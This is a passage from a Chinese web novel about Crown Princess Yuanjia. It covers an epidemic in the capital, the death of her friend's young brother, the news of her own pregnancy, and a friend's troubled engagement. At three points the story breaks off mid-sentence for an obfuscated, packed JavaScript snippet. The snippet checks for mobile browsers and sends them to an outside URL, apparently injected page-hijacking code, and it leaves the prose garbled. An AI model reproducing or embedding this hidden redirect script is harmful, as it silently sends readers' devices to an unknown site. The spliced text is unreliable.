“这样也好……” 元嘉喟叹一声。 “除了她,昨日纵着阿澄玩水的那几个小厮也被罚了,”柳安沅掰着手指数道,“一人挨了十板子,另罚了两个月例银,如今且养着呢。” “……也不知道阿澄要哪日才好的起来,”元嘉叹了口气,也学着柳安沅的样子望向窗外,“都说瑞雪兆丰年,我怎么瞧着从开了年到现在,竟无一件叫人舒心的事。” “是啊……” 柳安沅亦是感慨,却被飘无踪迹的风藏去了大半声音,只余一缕尾音回绕。 出了欧阳澄这桩事,两人也淡了再说话的心思,彼此对坐片刻后便默契告别。 柳安沅出了聚广楼便直奔慈恩寺——她要去给欧阳澄求个平安符回来。至于元嘉,她本想着出来一趟不易,也顺路回季家看看弟妹,可近来倦累,身上总提不起劲,遂打消了念头,还是让车夫驶回了太子府。 这时候,太阳已升得很高了,可元嘉还是莫名打了个寒颤。分明是融融的暖意,元嘉却只感到自己的后背在隐隐发冷。 …… 回到长春馆,元嘉坐在榻上思忖了好一会儿,还是不放心地找来了红玉,又问起章有为的近况来。 “章太医如今大半时间还是在畅和馆,有时也回宫内当值,其他时候不是研读医书,便是晒药捣药。” 红玉想了想,方道。 “你亲自跑一趟,让章太医带上药箱往欧阳将军府走一遭,就说是欧阳家的小郎君发了高热,请他去看个诊。” 元嘉吩咐道。 红玉屈膝道是,立刻便出门寻人去了。 元嘉站在原地,目送着前者的背影远去,心中仍觉不安,又转身吩咐起拂冬来,“你这几日替我往欧阳将军处多跑几趟,若有什么缺的少的,只管回来报给我知,可明白?” “……是。” 拂冬虽奇怪于元嘉的反应,可还是应了下来,又带着疑惑离开。 元嘉吩咐了一圈,心中悬着的那块石头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431415|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总算能稍稍落地,这才重新倚回临窗的软榻,又摸出预备给顾静则腹中孩子裁衣的布料,有一下没一下地绣了起来。 可不过两三针的工夫,指尖便觉一阵刺痛,血珠从绷紧的布面上一点点渗出,不多时便晕作了一团。 元嘉有些茫然地将手举至眼前,好一阵才反应过来。随意摸了方帕子覆在血痂处,思绪却还是不受控制地飘忽起来。 她、怎么会这么不安…… “女君,女君?” 元嘉眼里的恍惚在一连串的呼唤中逐渐散去,像是从梦中惊醒一般,骤然回神。下意识循着声音的方向望去,徐妈妈不知何时走了进来,正面露忧色地看着自己。 “有太医看顾,欧阳小郎君定会康健如初的,女君就不必过分担心了。” 徐妈妈放下手里的瓷碟,又将半开半掩的窗扇推开少许,捎带着一丝凉意的微风轻轻拂进室内,恰到好处地驱散了屋子里的沉闷。 “妈妈怎么会知道……” 元嘉欲言又止。 “我过来时遇着红玉了,这才听说了欧阳小郎君的事情。欧阳将军最是看顾小郎君的,想来是照顾的人也有,诊治的医士也不缺,保不齐连将军自个儿都在床榻前守着呢。小郎君定会快快好起来的,女君这会儿且放宽心吧。” 徐妈妈温声道。 “我也不知道自己是怎么了,就是心里不安。”元嘉赧然一笑,“或许是近来总在太子嘴里听到水患的事情,如今一有个风吹草动,便觉得是又要发生什么不好的事情了……今日这般,也确实是我小题大做了。” 徐妈妈不赞同地摇头,“女君这是挂牵欧阳将军,挂牵小郎君呢,哪里算得上小题大做?只是忧烦伤身,女君还该先保重自己的身体才是。” 元嘉嗯了一声,又从瓷碟里随意捡了颗果子放进嘴里,显然无意再继续这个话题。只是下一刻,整张脸便皱在了一起,上下唇瓣紧闭,几乎要抿成一条直线,少顷方道:“……酸的?” 徐妈妈往元嘉手边搁了盏茶,这才点着头道:“您近来食欲不振,我便让敛秋做了些酸果脯,女君用着可还好?” 顿了顿,又道:“这段日子,太子忙于水患之事,您便也跟着操心许多。男人家体格健硕,少食几餐或是进的少些也不碍事。您跟着太子起居,一日日的食不下咽,纵有天气渐热的缘故,可也瘦得太厉害了……您今日穿在身上的这件衣裳,分明是照着两月前量好的尺寸做的,如今都又松了一指了,实在是让人心疼……” 元嘉叹道:“我如今富贵无虞,吃穿不愁,是因为灾祸远离上京,我也自恃有太子妃的身份不惧不怕。可宁州的百姓们尚在流离失所当中呢,我又如何能不管不顾地过炊金馔玉的生活呢?” 可迎着徐妈妈担忧不减的目光,元嘉再多的话也说不出口了,想了想方道:“妈妈的好意我都记在心里呢,这果脯吃着也很是开胃,想来今日定能多进一碗饭,再不会瘦下去了。” 说着,安抚似的朝人一笑,又拈起一枚果脯放入口中。或许是有了准备,这一次的味道便没有之前那样让人难以忍受了。 元嘉感受着舌尖传来的酸意,一点点眯起了眼睛。 80. 不假年 元嘉惶惶不安的心最终坠入了无底深渊。 那日,燕景祁匆忙回府,还来不及更换常服,便大踏步地进了长春馆。 “京中怕是要发时疫了,你这几日留心些,仔细别叫沾了疫病的人和府里有接触。” 燕景祁如是道。 “……什么!” 元嘉惊得站起身,“好端端的,上京城里怎么会起时疫呢?” “守城的士兵在城郊发现了流民活动的痕迹,一路搜寻过去,”燕景祁停顿了一下,“最后只找到几具早已凉透的尸身。” “或许、或许只是一路奔波,身体虚弱,这才不治而死……” 元嘉勉力开口,却也不知道自己究竟想说什么,或许只是潜意识里拒绝接受,更不敢细想这两个字背后的含义。 “那之后几日,城郊又陆续发现了好几具尸身,皆是一样的死法,”燕景祁的脸色有些沉重,“到今日,已有穿着齐整者亡故了。” 言下之意,便是城内也有人染上疫病了…… 元嘉怔愣原地,掩在袖下的手死死攥在一起,直到掌心有刺痛感传来,浑浊的大脑才恢复了少许清醒。强行逼迫自己镇定下来,元嘉定了定神道:“若真是时疫,还得尽早打算才行……太医署那边可有良方了?” “前朝留下来的疫病方子还在太医署里存着,只是年岁久远又症状存异,若想执两用中,少不得还要再费些时日。” 闻言,元嘉稍安心了些,“既有可供参酌的东西,想来也不会耽误太久。” 等等! “近来,上京城中有许多人家都染了热病……不知这其中是否与时疫有所关联?” 元嘉迟疑道。 “时疫的症状与热病相差无几,但比热病烧得更久,病情也更反复,却是不好防的。” 燕景祁顿了顿,又沉声道:“父皇已下旨,太医署上下所有医官,除开当值的时间,全数出宫救诊。慈恩寺已开了养病坊,用以收治、隔离患病之人,期间若有身故者,皆由金吾卫移至城郊集中烧毁,另赐丧钱慰抚。” “至于外州郡的,以宁州为首,所有医学博士挨门挨户诊断病疾者,若为疫症,尽数拉去厅事收治,另下派官员及医士,发放药物、医治疫病,其他各法一应与上京俱同。” 元嘉凝神细听,面色也开始有所好转,“那宫里呢?” “母后已让合宫上下熏艾清扫,又命司药司所有医女每日熬煮药剂,分发各宫以防未然,患病的宫女也要全部挪去患坊,集中救治。” “……宫里也发现了?” “如今正让各宫清查,凡有疑似者再交由医女诊断,希望诸事无恙吧。” 元嘉蹙眉不语。她倒没有听说哪家真害了时疫,可京中发热病的人数已是不寻常了……听燕景祁的口气,怕是就这两日,京中就要变天了。 “三郎匆忙回府,还是先进屋换身衣裳,去了热气,再用些简食,一应事情慢慢计议。”元嘉思量几瞬,“我这就去让府里的人都警醒着,绝不能在这当头出了岔子。” 燕景祁略一忖度,方才颔首,又转身进了里屋。 “徐妈妈,府里的人就烦劳您了。” 眼看着男人的身影消失在帘后,元嘉这才收回视线,又一一吩咐起人来。 “女君放心。” 徐妈妈屈膝应下,随即转身快步朝外头走去。 “逢春,你与敛秋、拂冬她们速速出门一趟,去季家,欧阳家还有柳家,请她们留意小心。” “是!” 三人自知事态紧急,当下也顾不得礼数周全,立刻便往外走去。 “记得捂好口鼻再出去,要碰什么也隔着帕子……再带上幕篱隔一层,千万护好自己!” 元嘉站在屋内,想了想又有些不放心地叮嘱道。 三人遥遥一应声,不多时便消失在长廊尽头。 元嘉舒了口气,正要转身,忽又脚步一顿。 「沁姊姊有事呢,她家小弟昨日夜里发了高热,眼下还烧着呢,沁姊姊脱不开身,便只剩我了。」 元嘉两目圆睁,心中隐隐有不好的预感,当下也顾不得规矩,只高声道:“红玉,红玉!” 前者疾步进屋,又近前等着元嘉吩咐。 “去,你赶紧追上逢春她们几个,叫使人先去欧阳府!”元嘉急声道,“越快越好!” “是!” 红玉瞧见元嘉这副模样,也不敢多问,忙福了个身,便向三人离开的方向奔去。 “怎么了,脸色这般不好?” 燕景祁换衣时便听见了外头的动静,这会儿出来又瞧见元嘉神色实在慌张,当即皱眉道。 “只盼是我想多了。” 元嘉摇头,脸色却更加苍白。 燕景祁的眉头锁得更深了,却还是什么都没问,只上前握住元嘉的手,道:“太医们已在研制救治之法了,无事的。” “……嗯。” 元嘉勉强扯了抹笑,脸色却并没有多少改善。被男人握住的地方炽烫依旧,却不曾为她带来半分暖意,指尖仍是微凉。 她在害怕。 元嘉深吸一口气,强迫自己冷静下来,又将手反覆在燕景祁的手背上,温言细语几番,将人劝回了书房。 又是水患,又是时疫,男人此刻远比自己艰难,又何必叫他在这里陪着自己熬呢。 元嘉走到窗棂前,微微仰头看向天顶,风暖日丽,又是一个万里无云的好天色……可若是能一并带走她心底的乌霾就好了。 元嘉恍惚间想道。 …… 最先回来的是敛秋,接着是拂冬,她俩分别往柳、季两家跑了一趟,得了季母和靖安郡主的应诺后便马不停蹄地回来禀报元嘉。 唯有逢春,直到日暮西垂都未见踪影。 她去的,是欧阳府。 元嘉的心一点点沉到谷底,却还是带着侥幸焦急等待。 天已经彻底暗下去了,太子府里外陆续掌灯,宫女们也开始提着食盒往来于各屋院。徐妈妈进屋劝了好几次,元嘉才勉强进了两口粥饭,可再多的也吃不下了。 长春馆的烛一直燃着,一根烧尽便又点上新的一根。元嘉就这样固执地坐在榻上,沉默地等着逢春的身影出现。 …… 夜已经很深了,可长春馆内依旧灯火通明,连燕景祁都打发人过来问了两回,又劝说元嘉早些安置。她索性让人熄了纱笼,只在桌案上留了盏灯,又打发其他人下去休息,自己却仍坐在榻上没有起身,开了窗,盯着被风吹得簌簌作响的梧桐树发呆。 梆子声响了一下又一下,如今到底是什么时辰,元嘉已分辨不清了,却还是执拗地守着院外的动静。 正当时,屋外陡然传来一阵急促而纷乱的脚步声,逢春跌跌撞撞地奔进门来,下一刻便跌坐在地。 “娘子!欧阳小郎君他、他没了!” 逢春含着眼泪,下意识唤回了从前的称呼。 屋内一片死寂,紧随着逢春进来的徐妈妈等人更是惊得愣在了原地。 “……你、你说什么?” 元嘉半天才找回了自己的声音,撑着软枕想要坐起,却发现浑身已抖的不成样子。 “奴婢到了欧阳府,将您吩咐的事情一一说给了玉戟姊姊听,又问起姊姊小郎君的近况。姊姊本还说、说小郎君一刻钟前已退了热,午饭时候还能吃下半碗粥饭了,可谁知──” 逢春揩着眼泪,“话还没说完,里院便来了人,说小郎君突然抽搐起来,浑身烧得滚烫。奴婢不敢走,想等着小郎君平稳下来后再回府报与您知,可等到半夜时分,小郎君、小郎君还是没有撑住,就这么去了!” 元嘉怔怔瞧着逢春,一时间只觉天旋地转,恍惚间竟不知自己身处何地。 欧阳沁已受过一次至亲之人离世的苦痛,欧阳澄是她最疼爱的弟弟,是她可以豁出命去呵护的存在……如今人就这样没了,叫欧阳沁如何承受得住? “女君纵使悲痛,眼下却一定要撑住啊!咱们、咱们去瞧瞧欧阳将军,去与她说说话……还有柳娘子呢!” 徐妈妈反应过来,急忙上前与红玉一左一右撑住元嘉,口中不住地劝解。 “对、对,快去套车,去欧阳府!” 元嘉呢喃两声,使劲提了口气,大声喊道。 脚下才动作两步,又反应过来,“不行,我不能穿成这样去见沁姊姊……红玉,去我箱子里翻件色浅的衣裳!” “诶!” 红玉连忙答应,拭了拭眼泪便往里屋跑去。 长春馆又点起了纱笼。一阵兵荒马乱,待元嘉坐上马车,已是数刻钟之后的事情了。 元嘉神色恹恹,心中仍是难受,胃里也开始不合时宜地翻滚起来,隐隐有作呕之感。元嘉一面抚着胸口,一面扬声道:“快!再快些!” 可饶是如此,等赶到欧阳府时,天色也已微明。 元嘉前脚落地站稳,后脚柳安沅的马车便也到了。两人自阶下相遇,顾不得说话便相携往大门处走去。 内里有人听见动静,忙开了条缝隙探头张望。待看清楚来人是谁,立刻便跑出门来迎接。 “问太子妃康安,见过柳娘子!” 已然换了件素白衣裳。 二人脚步不停,“你家娘子呢?” “娘子正陪着老夫人呢,”那小厮亦快步跟随,“郎君出事时,老夫人在屋里守着,眼瞧着郎君没了气息,当场便昏了过去,如今正让医士瞧着呢!” 元嘉一听,心中更是担忧。 “殿下与娘子也去劝劝,现在府里乱的很。娘子头先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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声音却抖得厉害。 欧阳沁似乎想笑一笑,可嘴角无论如何也扬不起来,最终只麻木地点了点头,先两人一步走了出去。 元嘉眼眶通红,却还是拉着柳安沅跟了上去,一路沉默不语地走在欧阳沁身后。见她背脊挺直,见她步履不停,见她一步步踏进那间挂满白幔的冷清小屋。两人还想再跟进去,却被欧阳沁先一步合上了房门。 “我说了,你们在外头等着就好,不要进来……别进来!” 欧阳沁在站在槛内,双手重重抵住门扉,指尖却有些颤抖。 欧阳澄死于时疫,她们若不想也跟着染病,就该离这间屋子越远越好,等在门外似乎已是当下最妥善的做法。可这一刻,情感压过了理智,与欧阳沁的多年情谊推动着两人不管不顾地跟了上去,直到被前者亲手关上眼前的这一扇门。 元嘉站在槛外,掌心贴住边梃,似乎想将眼前的隔扇门推开,可最终还是垂下了手,只道:“这屋子黑得很呢,姊姊把灯点上吧,收拾东西也可方便些。” 欧阳沁的影子在门后晃了几晃,仍是一言不发,却慢慢开始动作起来。窗纱上的影子一会消失,一会出现,原本挺直的背脊却一点点佝偻了下去。 “那小子最喜欢这柄木剑,平日里带在身边,一刻都不愿放下,还以为有多宝贝呢,竟丢在这地方……” 许久,欧阳沁的声音才从屋内传出来。 元嘉没有接话,柳安沅也只是沉默听着。她们谁都不需要吱声,就这样陪着欧阳沁熬过去就好。 “这护手还是我给他做的,怕他成日拿着木剑耍弄,哪日被毛刺弄伤了手又来找我嚎哭。我废了好长时间才做出这么一对,可被他嫌弃不好看,一次也不肯戴,还以为被扔掉了,原来他竟藏在自己的枕头底下。” “这小子,还藏我的香囊呢。我从前总不明白,为何我每次离家那么久,再回来时还是能在他衣物上闻见我惯用的香料味,竟是这个缘由。” …… 欧阳沁像是在说给别人听,又像只是在自言自语。一桩桩,一件件,都是再细微不过的小事,却注定在未来的无数日里,成为遗留在生者心中的永远无法磨灭的痛苦痕迹。 欧阳沁的声音从平稳,到颤抖,最后变得哽咽,直到再扛不住一般痛哭出声。 柳安沅再支撑不住,掩着脸奔下台阶,跑到院子里的空地处蹲下,两手环抱,将头埋在胳臂里抽泣。 元嘉不见动作,只将自己死死钉在原地,哪怕眼前早已是模糊的一片,却还是用手紧紧捂住嘴颊,不肯叫门内的人听见一丝哭音。 天边露白,夜色消弭,又是一个明媚的好日子,可那个会喊欧阳沁阿姊的人却再不会醒来了。 81. 孕有兆 两人在欧阳府呆了一整个白日,眼瞧着欧阳沁能吃进东西了,这才略微放心。 稍晚时分,老将军夫人自昏睡中醒来。听了下人的回禀,对着两人又是诸多感谢,只是与欧阳沁一样,都劝说元嘉与柳安沅早些回去,勿要在欧阳府多停留了。 “若真是时疫,欧阳府如今便危险的很。你们都是好孩子,不能再被我们牵累着染上病了。” 老夫人如是道。 …… 两人赶在日暮时分出了欧阳府。 国公府的马车已守在门外许久,一见着柳安沅出来,便小心翼翼地用披风将人裹住,又扶进了车厢。 靖安郡主疼惜女儿,能在这个节骨眼让柳安沅出来一趟,本就是念着三人多年的情谊。如今好不容易等到人健全无恙的出来了,自然着急忙慌地要把人带回去。 太子府的人亦然。 到底是担心欧阳府里的疫病……只可惜,她如今已为人妇,再不能如闺阁时随性自由,否则还可以硬赖着多留几日,陪着人等诸事妥当后再回去。 马车从空无一人的街道上缓缓驶过。 等元嘉再下车时,拂冬几人早在门口候着了。 红玉上前扶过,用苍术、艾草等物在元嘉周身熏绕了几圈,眼见元嘉面色苍白又眼角泛红,便知这是哭过了。 遂道:“府里已备好路祭,只眼下这情形,能不能发丧还两说,奴婢这几日多打听着,等那边设好灵堂,便先将祭礼送去,女君千万保重身子。” 拂冬也道:“太子殿下才回府,听说您出去了,此刻还在长春馆等着呢,女君且放宽心,悲痛伤身……女君!” 一句话还没说完,便又惊叫起来。 原是元嘉脚步虚浮,一时不甚踩空了台阶,整个人险些摔下去。 徐妈妈本还落后两步跟着,见状忙上前把人撑着,劝道:“女君出门时便不大舒服,一个白日又是伤心又是劳神的,待回了屋子,还是叫人来看看!” “妈妈说的是,只眼下时局特殊,京中早寻不到得空的大夫了,章太医又因去过欧阳府,如今也被隔了起来,咱们府里就剩几个侍药的医女了。” 红玉面露愁色。 “便只剩医女也是好的,至少懂些医理,可暂替女君瞧瞧。” 徐妈妈道。 逢春立时唤人,“去把今日当值的医女请来,就说女君身子不大爽快,让她们动作快些!” 后头有人应了一声,脚步微转,立刻向另一侧疾行而去。 元嘉有些难受地捂了捂嘴,“殿下可是有事要与我说?” “想来还是时疫的事情,只您如今不好,还是先叫医女瞧过,再说其他吧。” 红玉答道。 说话间,一行人也回到了长春馆。 红玉、逢春一左一右地扶着元嘉进屋。燕景祁果然还没离开,此刻正坐在椅子上翻阅文籍,见元嘉神色欠佳,当即站起身来,揽过人扶上卧榻,道:“脸色这样差,可叫太医过来看了?” 逢春忙答道:“已让人去叫医女们过来了。” “……医女?”燕景祁面露不悦,随即呼道,“申时安,去把今日从宫里领回来的两个太医带过来,若是误了给你家女君看诊,仔细挨板子!” 申时安诶了一声,忙三步并作两步地奔出了长春馆。 燕景祁又将视线收回来,语带不虞,“章有为不是值守的太医吗,他人呢?” “章太医去过欧阳府,为免出现闪失,已单独将人隔开了。” 红玉垂目答道。 燕景祁面色稍霁,虽还绷着张脸,却也不再责问,只低下头查看起元嘉的情况来。 元嘉歪靠在软枕上,神色恹恹,又见燕景祁眼底还有未散尽的不愉,遂道:“无事的,想是最近事务繁杂,又一时伤神,这才有些疲累。回头吃两剂安神的药便好,何必辛苦太医跑这一趟。” “你出门时可曾照过镜子?可发现自己这张脸已经白的吓人了?”燕景祁瞥了元嘉一眼,“欧阳将军与你有旧,你出去这一趟也无可厚非。可伺候你的宫女却实在疏忽,既然已觉不适,便该立刻请太医看诊……你自己的身子,竟也不当回事。” 正说着,申时安领着两个太医跨门而入,刚要行礼,便被燕景祁阻了,只道:“先过来瞧瞧太子妃。” 二人应声称是,半跪于卧榻前。其中一人先行搭脉,几息后侧身,另一人复又搭脉,又是几息时间,方退后不再动作。 “如何,太子妃的身体可无恙?” 燕景祁眼帘微掀,一双不辨喜怒的眸子从两人脸上扫过,淡淡道。 那两个太医对视一眼,随即伏拜在地,其中一人道:“太子殿下大喜!太子妃殿下有妊,已近两个月了!” 燕景祁闻言微怔,下意识看了眼元嘉尚显平坦的肚腹,又回过头来盯着两个道喜的太医,几瞬后才反应过来。 “可把准了?” 嘴角却是难得的上扬。 “不敢乱言,太子妃确是有妊了。只殿下心内郁结,又是头胎,还需好好调养才是。” “赏!”燕景祁扬声笑道,“所有人都有赏!” 突来的喜讯,将燕景祁连日来的悒郁一扫而尽,“申时安,去,拿着孤的令牌,到宫里知会一声!” “诶!” 申时安躬身应道,满面带笑地跑了出去。 一时间,长春馆里外热闹非常。 元嘉倚在软枕上,瞧着眼前遽然而现的欢腾,心中却出奇的冷静,更感受不到任何的喜悦。元嘉单手抚过自己还未见隆起的肚腹,满是说不清道不明的怅惘。 她该是高兴的,可为什么就是欢喜不起来呢? “你如今有了身子,什么烦心事都不必操心,只管顾好自己。眼下外头不安稳,孤会求母后再赐几个太医过来,须得你万事无恙才行。” 燕景祁小心翼翼地将手置于元嘉腹间,语气是从未有过的柔和。 元嘉扬起一抹笑弧,同样将自己的手覆了上去,轻声道:“好。” 燕景祁陪着元嘉坐了半晌,又亲自将长春馆内外安排妥当后,方在前者的再三劝说下离开。男人今夜是一定无法陪伴她的,更准确的说,只要水患与时疫一日不平,他便一日不得安闲。既如此,还不如她自己开口,至少能换得燕景祁的两分愧疚。 何乐而不为呢? …… 夜已经很深了,长春馆的热闹氛围却并没有因此散去。 人人都喜形于色,又看护元嘉如瓷娃娃一般,只恨不得连眼睛也长在前者身上。一群人谨小慎微到连元嘉也忍不住笑话起来。 好容易收拾齐整,徐妈妈挥退了众人,自己留下来服侍元嘉就寝。 “女君是有什么心事吗?” 徐妈妈一边替元嘉压实被角,一边轻声问道。 “……什么?” 窗边新添了一对连枝灯,此刻燃了蜡烛,不时有灯花迸出,带着细微的噼啪声。元嘉瞧得出了神,一时没有反应过来。 “或许是奴婢的错觉,”徐妈妈柔了神色,“您这一晚上虽都笑着,可奴婢却总觉得您并没有看上去那么高兴,所以才多嘴问了一句。” 元嘉微怔,抬手抚过面颊,“妈妈也觉得我不够开心吗?” 说着又轻笑出声,“刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“太子若问,我去解释。沁姊姊常驻边城,在京中本就少有朋僚,我与她多年情谊,眼下阿澄出事,我若再闭门不顾,来日是真无脸与姊姊相交了。” “您这是事出有因,欧阳将军又哪里会真的怪您呢?” 徐妈妈不赞同地一摇头。 “沁姊姊当然不会怪我,可我如何用她的善肠来换自己的心安理得呢?” 元嘉反问道。 徐妈妈无可奈何地叹了口气,道:“只是时疫平息前,女君还是要少出门,奴婢这些日子会想法子多打听些欧阳府近况的,但有发丧或吊唁,定会第一时间报与您知,眼下您还是安生休养为上。” 元嘉知道徐妈妈这是妥协了,便也乖顺点头,只是又多叮嘱了两句,让徐妈妈注意着,自己有妊的事就先不叫欧阳沁知道了。 “太子妃有妊是大事,欧阳将军早晚会知道的。您若现在瞒她,事后欧阳将军只怕是要生气的。” 徐妈妈在这一点上却与元嘉想法相悖。 “这好办,只说我也是事后才知道的,如今连肚子都还没显怀,看不出的。” 元嘉不以为意。 “还有柳娘子呢,您难道连她也要一起瞒了不成?” 徐妈妈提醒道。 “眼下时疫当先,阿澄的身后事怕也会避繁就简,停灵也就这一两日的工夫了,至多半个月便会入葬。”元嘉的指尖有一下没一下地敲击着床沿,“便都先不说了,等这段时间过去,再告诉她们。” 徐妈妈最终还是没能拗过元嘉,只得无奈应下。又小心为元嘉覆好轻被,见前者阖眸,方才起身熄灭烛灯,悄声退下。 82. 不改意 宫里对元嘉这一胎表现出了十足的看重。 燕景祁夜里才遣人报了喜讯,第二日便有太医与医女奉诏入府,带着无数的珍稀药材与贵重补品。娄皇后甚至特意让兰佩去了趟太子府,只为叮嘱元嘉好生养胎。 而新侍奉元嘉的一众医女中,有一人甚是眼熟。 “章小娘子,好久不见。” 元嘉从来人手里接过药碗,笑吟吟道。 正是章辛夷。 “问女君安!” 章辛夷捧着托盘,亦是眉开眼笑。 算起来,元嘉也有小半年未见过章辛夷了。如今瞧着,章辛夷身量长开了不少,眉宇间也更添三分稳重,想是在宫内受教不少。 “你如今住在宫内,可还习惯?” 元嘉仰头将药饮尽,又将空碗递了回去。 “得您记挂,辛夷一切都好,还习得了不少医理药事,很是有收获。” 一提起医者事,章辛夷的笑容便更大了些,说话时眼中带光,叫人看了也忍不住跟着高兴。 “那便是再好不过的了,”元嘉倚回榻上,“宫里头呢,无有被时疫波及到吧?” “宫里一切都好,未听说哪处有得了疫病被迁走的。皇后殿下也命着我们每日熏药清扫。如今无有要紧的事,宫室间连人都不走动了,想来要等到京中平稳,宫里也才能跟着恢复如初。” 章辛夷说的仔细,语气却听不出多少沉重,看来宫里的情况还是要比京中好上许多。 “那你就不该出来,”元嘉不赞同地看了人一眼,“就在宫里头待着,怎么着都比外头安稳。” 章辛夷使劲摇头,“我好容易自告奋勇,才领了这来您身边侍奉的差事,女君怎么就要急着赶我走了!” 闻言,元嘉的脸上显出几分惊讶。 “她们都知道外面不安全,这些日子宫里头虽事多繁累,却是全然无性命之忧的。出了宫,便是只待在太子府,她们也是怕的。”章辛夷撅着嘴,“刘司药本就头疼出宫的人选,我毛遂自荐,她立时便允了,还夸我来着。” “这几日,外头陆续发现因疫病死去的百姓,她们怕也是人之常情……你倒是胆子大!” 元嘉说着,又责怪般瞪了人一眼。 “您这时候怀有身孕,辛夷实在放心不下。虽还做不得一流的医士,可至少懂些药理,能够看顾您一二。”章辛夷认真道,“爹爹他也还在太子府呢,离得近些,我也可更安心些。” 虽说章辛夷最后还是拿着章有为的保书进的宫,可若没有元嘉替她指点迷津,这条路是无论如何也走不通的。是以,章辛夷总记着元嘉的这份恩情,一听说是太子妃身边要添人,便不管不顾地跑过来了。 “你父亲那里也有我的不是……他本来好端端的留在太子府,是我让他去外头走了一遭,这才弄成如今的局面,封了院子又与人隔绝……好在章太医身强体健,并未染上疫病,多两日便可出来了。” 元嘉有些惭疚。 “女君无须抱愧。” 章辛夷倒看得开,甚至还开解起了元嘉,“为医者,本就与生死为伍。爹爹他做乡野郎中时,也曾因治诊而身染苛疾,又或是因载录药性而误尝毒草,这本就是常有之事。父亲不会因为您让他治病救人而心生怨怼,辛夷也不会。” 元嘉看着章辛夷,久久地露出一抹浅笑,眼中满是欣赏,“你日后定是个仁心济民的好医士。” “那辛夷必定尽心竭力,为成为您口中那样的医者而努力!” 章辛夷咧开嘴,笑得格外开心。 两人正说着话,忽听得屋外有人匆匆来报,道柳安沅过来了,马车这会儿已停在府门口了。 元嘉心中奇怪,靖安郡主竟还会允柳安沅出府……只怕是遇着事了。想了想,先命人出去迎接,又转头叮嘱了章辛夷两句,要她务必不能透露自己有孕的事情。 章辛夷不明所以,却还是听话的一点头,与红玉几人用屏风和纱帐将屋子隔成了两方天地后才离开。 而出去迎柳安沅的,也都带着炮制过的苍术、艾草等物。 外人要进长春馆,不计是谁,每入一道门,便要周身熏绕一次,便是燕景祁也不例外,重重严措只为保元嘉无有任何染病的可能。 以至于柳安沅进门时,长春馆内外还飘着未散尽的药香。 “嘉儿……” 柳安沅的声音里,竟带着几分哽咽的意味。 “阿沅,怎么了?” 元嘉坐在层层纱帐之后,根本看不清柳安沅的神色,只好竭力探着身,试图能凑得稍近些。 逢春忙细看了两眼,又隔着纱帐朝元嘉小声道:“柳娘子也带着幕篱呢,奴婢瞧不清娘子的脸色,但看娘子方才的动作,像是哭了一场。” “阿沅,可是出了什么事?” 元嘉心中焦急,连忙又问了起来。 “嘉儿,”柳安沅一面抽噎,一面喊着元嘉名字,“谢韫暄他、他不想和我成婚了!” “什么!谢家要退亲?” 元嘉惊诧不已。 这又是出了什么事,分明再几月工夫就是谢、柳两家议定的婚期了……这当头,谢韫暄怎么突然要退亲了? “不是他们家退,”柳安沅擦拭着眼泪,嗓子已哭得有些哑了,“是他想让我们家退。” 让女家退亲,这显然是怕女方受流言之累,可既能这样为女方考虑了,又怎会走到要退亲的地步……元嘉思来想去,汾阳王府一切如旧,便只能是谢韫暄出事了,此外再无第二个可能,遂斟酌着开口:“可是那谢家郎君……” 柳安沅动作一僵,随即似脱力般塌下身子,“他、他这两日也病了……” “是染了疫──” 元嘉话还没说完,便被柳安沅急声打断,“不是的!他没有高热,也没有抽搐,就是身上疲累,时有倦怠之感,这些症状与疫病八竿子都打不着一处,怎么可能是时疫!” 话虽如此,可柳安沅整个人都有些慌张失措起来。 “你去见过他了?” 元嘉轻声道。 柳安沅先是摇头,跟着又反应过来元嘉当是看不清自己动作的,只能强撑着开口:“是汾阳王府的人过来说的,当着、我父亲母亲的面……” “你说,哪有人自己咒自己的!是不是时疫还两说呢,便真是,也不是人人得了病都要死的!我还没嫌弃他呢,他凭什么替我做决定,要我退婚!我何曾是这样只顾自己的人!” 柳安沅气得大哭。 这样一番话听下来,元嘉还有什么不明白的。只怕是谢韫暄担心自己害了疫病,时日无多,便想要柳安沅退婚后另择夫婿,不至于受他这个病秧子的拖累。宿国公与靖安郡主本就对女儿外嫁不抱有多少心思,只是看汾阳王府诚意十足,谢韫暄又经国手医治后痊愈,这才松口答应。 可如今谢韫暄生了病,草木皆兵之下,夫妇俩如何能安心,又如何能放心让柳安沅嫁过去呢……哪怕谢韫暄得的不是时疫,可他生有弱症,比常人体虚是事实,健全者尚有身死时,况一疴者尔。 元嘉一点点蹙起了眉,朝左右示意了两眼,前者便自觉退了出去,又将门小心合拢。逢春慢了两步,有些担忧地瞧了元嘉腹部好几眼,才脚步迟疑地离开。 屋内只余元嘉与柳安沅两人。 “阿沅,你老实告诉我,你生气,到底是因为谢韫暄的自作主张践踏了你的情意,还是因为他自认两家婚约成了你的负累,退亲之举轻视了你的担当?” 元嘉小心拢了拢肚子,缓缓道。 柳安沅没有说话。 